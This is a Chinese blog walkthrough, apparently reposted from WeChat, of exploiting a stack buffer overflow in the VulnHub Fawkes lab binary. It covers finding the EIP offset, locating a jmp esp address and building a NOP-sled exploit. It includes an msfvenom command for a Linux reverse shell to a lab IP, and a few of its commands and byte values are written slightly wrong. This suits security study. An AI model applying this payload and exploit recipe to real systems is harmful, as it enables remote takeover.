vulnhub29.1-缓冲区溢出调试

admin 2023年6月15日09:25:03评论9 views字数 2290阅读7分38秒阅读模式

 缓冲区溢出深入了解一下





01



缓冲区溢出调试



    靶机环境还是HARRYPOTTER: FAWKES靶机,调试机器是kali,调试准备:

先把kali的ALSR功能关闭,这样内存地址就不是随机化的了,不然找不到缓冲区溢出的位置:cat /proc/sys/kernel/randomize_va_spaceecho 0 /proc/sys/kernel/randomize_va_spacecat /proc/sys/kernel/randomize_va_space

vulnhub29.1-缓冲区溢出调试

安装调试工具:

apt-get install edb-debugger

vulnhub29.1-缓冲区溢出调试

启动软件,把server文件放进去就可以了调试了,先生成payload:
python -c "print('A'*500)" #python生成500个A

vulnhub29.1-缓冲区溢出调试

在edb软件的file选项上选择attack添加server(server可以使用kali用户权限启动),然后点击run:

vulnhub29.1-缓冲区溢出调试

用nc链接,把刚刚生成的500的A注入到程序入口:

vulnhub29.1-缓冲区溢出调试

然后查看EDB,发现报错了

vulnhub29.1-缓冲区溢出调试

提示我们0×41414141的内存位置出现了错误,这是说明已经调试到了错误的位置,即确实存在代码溢出漏洞,我们点击ok,详细查看一下错误信息

vulnhub29.1-缓冲区溢出调试

这里的EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是的具体指令。我们可以通过修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。如果ESP的指令是反弹shell的指令,就可以反弹shell!

确认了目标存在缓存区溢出漏洞,就需要找到缓存区溢出的位置,从而知道该从哪里插入攻击代码,同样的我们还是生成大量数据,这里就不能像上面一样都生成A了,因为数据如果都一样的话就不知道溢出的位置在哪里,我们需要通过报错的地方判断出溢出位置:

这里我们使用msf生成500无规律排列的字符,代码如下msf-pattern_create -l 500

重启edb,和上面同样的操作开启调试,此时将msf生成的无规律字符输入,此时页面如下:

vulnhub29.1-缓冲区溢出调试

告诉我们0x64413764的位置有问题,这个内存位置很可能就是我们要找的溢出位置,我们来查找一下这个位置在内存输入区的位置:

msf-pattern_offset -l 500 -q 64413764

vulnhub29.1-缓冲区溢出调试

输出告诉我们偏移量是112,也就是说64413764在113这个位置,这里可以验证一下,顺便强化一下我对EIP和ESP这两个寄存器的理解,输入以下验证代码:

python -c "print('A'*112+'BBBB'+'C'*100)"

意思是生成112个A,后面跟着4个B,再后边跟着100个C,总共216个字符,在重启EDB,按照上面的步骤在注入这个payload,观察EIP和ESP:

vulnhub29.1-缓冲区溢出调试


vulnhub29.1-缓冲区溢出调试


vulnhub29.1-缓冲区溢出调试

我们可以看到EIP上面是42424242,而42刚好就是B的16进制,ESP里面全是CCCC,刚好符合我们的分析;结合我们最开始的攻击思路,生成一段反弹shell的代码,并转化为16进制,放入ESP,再让EIP指向ESP,就可以强制执行ESP的代码了,也就是反弹shell的代码!

但是这里我们不仅需要在ESP中放入payload,还需要让EIP指向ESP,那怎样指向呢?具体操作步骤如下

vulnhub29.1-缓冲区溢出调试

在plugins设置中选中ESP->EIP,即将ESP的内存地址作为EIP的内容,这样就可以实现EIP指向ESP了,在左侧选择执行此操作的进程(注意要选择有执行权限的,就是r-x)

vulnhub29.1-缓冲区溢出调试

此时点击FInd就会找到ESP的内存位置,选择jmp esp的内存地址,那就是我们要写入EIP的内容:

vulnhub29.1-缓冲区溢出调试

可以看到结果是08049d55,但是机器命令中需要反写(我猜是因为小端序的原因),所以就是559d0408(两位为一个16进制),最后得出的16进制结果就是x55x9dx04x08,这就是我们需要写入EIP的内容,我们来书写payload:

首先用MSF生成16进制的反弹shell代码:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.5 LPORT=4444 -b "x00" -f python

vulnhub29.1-缓冲区溢出调试

构造EXP:

我们已经成功获取payload,但并不是最终的payload,因为还要考虑缓存溢出位置的问题,并且这段代码不能作出攻击行为,所以我们还需要配合这个payload来写个python脚本,生成最终的payload并编写exp来攻击。

EXP的组成:112个占位符+EIP代码(x55x9dx04x08)+x90*32+MSF反弹shell代码,最后构造如下:

vulnhub29.1-缓冲区溢出调试

python2 pwn.py

vulnhub29.1-缓冲区溢出调试

拿到shell!  唯一没有搞懂的是x09*32这个nop指令是怎么计算出来的,我尝试了x09*16,x09*64,x09*128,x09*127,x09*15可以成功反弹shell!,最低得是x09*10才可以,只能是这样一个一个测试出来了。。。

vulnhub29.1-缓冲区溢出调试



看到了,点个赞转发一下啦,如果对网络安全技术感兴趣的可以后台私信我哟


免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助





原文始发于微信公众号(寰宇卫士):vulnhub29.1-缓冲区溢出调试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日09:25:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub29.1-缓冲区溢出调试https://cn-sec.com/archives/1808890.html

发表评论

匿名网友 填写信息